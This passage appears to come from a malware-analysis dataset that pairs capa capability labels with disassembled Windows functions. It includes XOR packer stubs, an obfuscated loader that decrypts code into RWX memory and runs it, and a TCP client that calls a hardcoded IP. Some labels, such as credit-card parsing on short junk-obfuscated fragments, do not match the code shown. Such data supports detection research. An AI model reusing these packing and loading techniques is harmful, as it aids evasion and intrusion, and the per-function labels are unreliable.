joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x50a5279d
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x290e2c3f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401557
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_al_inicializar_Winsock
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x40170b
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4015bb
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_al_crear_el_socket
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x40170b
mov word [ebp - 0x1b0], 2
mov dword [esp], 0x29a
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1ae], ax
lea eax, [ebp - 0x1b0]
add eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.176.105.230.190
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_inet_pton]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401677
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.No_se_pudo_conectar_al_servidor
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x40170b
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x14
mov dword [esp + 4], str.Shaiya_Tales_of_Teos
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4016ef
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_al_enviar_el_token
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x40170b
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 0
leave
ret
Function at 0x40170d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x4c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.T.O.T.exe
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
jne 0x4017d7
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.No_se_pudo_iniciar_el_juego
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
leave
ret

Function at 0x401ab0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401b10
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x401c30
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b44
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401bc7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b30
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c57
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c37
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401bc0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401bd0
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401bc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b4e
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402170
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x4021c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4021be
test esi, esi
je 0x4021be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021a0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402500
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402525
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402530
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402525
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402578
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40256e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40257a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402560
xor eax, eax
pop ebx
pop esi
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0xa800a71
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x21bf253c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x4010a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___argv
mov edi, dword [eax]
call sym.__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._main
mov dword [esp], eax
call sym._exit
nop
nop
nop

Function at 0x401160
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call sym.___main
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov ebx, eax
movzx eax, byte [eax]
test al, al
je 0x4011ef
cmp al, 9
je 0x4011e0
cmp al, 0x20
je 0x4011e0
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp al, 0x5c
je 0x401248
cmp al, 0x22
je 0x401258
mov dword [ebp - 0x6c], 0
movzx eax, byte [ebx + 1]
add ebx, 1
test al, al
je 0x4011ef
cmp al, 9
sete cl
cmp al, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4011a0
test edi, 1
jne 0x4011a0
lea esi, [esi]
movzx eax, byte [ebx + 1]
add ebx, 1
cmp al, 9
je 0x4011e0
cmp al, 0x20
je 0x4011e0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
sub esp, 4
test byte [ebp - 0x30], 1
jne 0x40120a
mov word [ebp - 0x2c], 1
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
add dword [ebp - 0x6c], 1
jmp 0x4011b7
and dword [ebp - 0x6c], 1
jne 0x4011b0
xor edi, 1
jmp 0x4011b7
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.10019322
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.10019322
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.10019322
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.10019322
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.10019322
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.10019322
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.10019322
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.10019322
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x10019322
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10019331
pop dword [ebp - 0x2c]
mov eax, 0xcc696b12
add eax, 0x4398281f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x33358d9
sub dword [ebp - 0x3c], 0xb4e1138e
mov dword [ebp - 0x38], 0xc9d97e5c
add dword [ebp - 0x38], 0x6859cde9
mov dword [ebp - 0x34], 0x560397cb
add dword [ebp - 0x34], 0xf648ac63
mov dword [ebp - 0x30], 0xb39eeaec
add dword [ebp - 0x30], 0x4c611514
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xeff905e6
sub eax, 0xdff6b596
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x918a2478
add dword [ebp - 0x3c], 0xe2e844de
mov dword [ebp - 0x38], 0x921daf8b
add dword [ebp - 0x38], 0xaf4eb1ea
mov dword [ebp - 0x34], 0xe2da25bd
add dword [ebp - 0x34], 0x809546af
mov dword [ebp - 0x30], 0xa5117cfe
sub dword [ebp - 0x30], 0xa5117cfe
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c36f
push 0
call eax
mov ecx, 0x420e
xor esi, esi
add esi, eax
mov edx, 0x22c15e81
sub edx, 0x12be0481
add edx, dword [ebp - 0x2c]
mov ebx, 0xa72dcb3c
sub ebx, 0x5f3a7809
add dword [ebp - 0x24], 0x5e1e2b33
mov edi, dword [edx]
xor dword [ebp - 0x18], ecx
add edi, ebx
sub dword [ebp - 0x10], 0xfd2d4ad9
mov dword [esi], edi
xor dword [ebp - 8], ecx
add esi, 0x5c495e1c
add esi, 0xa3b6a1e8
add edx, 0x7064762f
sub edx, 0x7064762b
loop 0x1001944a
add eax, 0xfb0b
mov ebx, eax
add eax, 5
mov ecx, 0xcbfcce31
sub ecx, 0xbbfcce31
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x41e23c
Capabilities:
Authenticate hmac
Check http status code
Check os version
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov edi, dword [esp + 4]
mov esi, dword [esp + edi - 0x3120b115]
mov edi, dword [esp + edi - 0x3120b111]
lea esp, [esp + 0x14]

Function at 0x470080
Capabilities:
Authenticate hmac
Check http status code
Check os version
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov ecx, 0x26b9ecae
movzx edx, cx
lea ebp, [ebp + ecx*2 - 0x4d73d960]
mov eax, edx
xor edx, 0x2705f22c
seto cl
mov eax, dword [ecx + ebp - 0x26b9ec00]
xor eax, ebx
rol eax, 3
bt edx, edx
ror dx, 0x24
add cl, 0x21
neg eax
xadd edx, ecx
xor eax, 0x75194993
call fcn.0043f3cd
push esi
pushfd
mov esi, 0x42a3c2bd
mov si, 0xbd19
sub si, 0x7001
jl 0x57c95d
jmp 0x44184d
sub si, 0x79b7
mov esi, dword [esp + esi - 0x42a3d35d]
mov dword [esp + 4], 0xd1c5e2c8
push dword [esp]
popfd
lea esp, [esp + 4]
call fcn.0054c738
mov dword [ebp - 0x3ec], eax
cmp ecx, dword [ebp - 0x3e8]
jmp 0x43e6da

Function at 0x470ae7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x470b26
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x470b26
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x470b26
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x470b26
cmp dword [ecx + 0x74], 0xe
jbe 0x470b26
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4c367a
Capabilities:
Authenticate hmac
Check http status code
Check os version
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + eax*4 - 0x39c], ecx
ror edx, 3
cwde
lea edx, [ecx + edx + 0x2c842591]
mov word [esp + eax - 0xe3], cx
rol ax, 0xc8
bswap edx
dec cl
xor ebx, edx
cwde
neg eax
sbb ax, cx
add esi, edx
btc eax, eax
movsx edx, word [esp + eax - 0x57fd]
pop eax
pop eax
jae fcn.00407239
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x420]
jmp loc.004378a9
Function at 0x4d47f3
Capabilities:
Authenticate hmac
Check http status code
Check os version
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
rol dword [esp], 0xbb
sbb edx, ecx
push 0x42a2503
mov esp, edx
push 0xfb7ae84
push 0x429a2531
mov dword [esp + 4], edi
pop edi
bswap edi
push edi
mov dword [esp + edi*2 - 0x624b3484], esi
push edi
push edi
mov dword [esp + edi - 0x31259a3e], edi
pushfd
pop edi
mov dword [esp + 4], edi
mov esi, 0xc2168c93
mov esi, eax
mov edi, edx
xor word [esp + 1], 0x52b
cld
inc dword [esp]
sar byte [esp], 1
rep movsb byte es:[edi], byte [esi]
push dword [esp + 4]
popfd
call fcn.0041e23c
jl 0x4965bb
mov eax, dword [ebp - 0x408]
setb cl
movzx ecx, dx
lea ecx, [ebp - 0xcbc]
mov byte [0x472530], al
nop
cmovno ax, si
lea eax, [ebp - 0x2e0c]
push eax
jmp 0x4c7ec0
mov eax, dword [ebp - 0x408]
jmp 0x53745c
xor eax, dword [ebp - 0x400]
jmp 0x4aed58
mov dword [ebp - 0x408], eax
mov eax, eax
lahf
mov eax, dword [ebp - 0x400]
inc eax
cmp bx, si
test cx, 0x91bb
mov dword [ebp - 0x400], eax
cmp ecx, dword [ebp - 0x3c4]
jmp 0x47e2c7
push eax
jmp 0x58f7e8
inc eax
cmp ch, 0xbf
mov dword [ebp - 0x400], eax
cmp ecx, dword [ebp - 0x3c4]
jmp 0x4fa5a8
call fcn.004013d0
xor ecx, ecx
cmp ah, 0xa
mov eax, dword [eax]
mov dword [ebp - 0x408], eax
cmc
mov dword [ebp - 0x400], 0x3b
mov dword [ebp - 0x3c4], 1
cmp dword [ebp - 0x3c4], ecx
jle 0x4fa5ae
nop dword [eax + eax]
mov eax, dword [ebp - 0x400]
jmp 0x583ef0
mov dword [esp], 0xfd9e4215
and edx, 0xfffffffc
jmp 0x47e26c
jl 0x4c7ef8
mov eax, dword [ebp - 0x408]
movsx ecx, sp
setg cl
bswap cx
lea ecx, [ebp - 0xcbd]
jmp 0x547b0e
inc ecx
cmp edi, edx
jmp 0x4ae705
lea eax, [ebp - 0x2e10]
jmp 0x4b3dfd
mov byte [0x472531], al
lahf
jmp 0x53d6ad
inc ecx
cmc
xor eax, dword [ebp - 0x408]
mov dword [ebp - 0x408], eax
mov eax, 0x518c571a
not eax
mov eax, dword [ebp - 0x400]
jmp 0x4b6fac
call fcn.00401ff0
sub ecx, ecx
cmc
mov eax, dword [eax]
mov dword [ebp - 0x408], eax
clc
jmp 0x4567f1

Function at 0x4d974a
Capabilities:
Authenticate hmac
Check http status code
Check os version
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
call fcn.0050c8e3
lea esp, [esp + 0xc]
ja 0x41e252
mov ecx, 0xa38c66a0
mov eax, esp
movsx edx, cx
xadd dx, cx
lea ecx, [edx - 0xccc4]
lea edx, [edx + ebp - 0xcdc0]
call fcn.004d47f3

Function at 0x50c8e3
Capabilities:
Authenticate hmac
Check http status code
Check os version
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
call fcn.0052898b
push eax
jmp loc.004418ee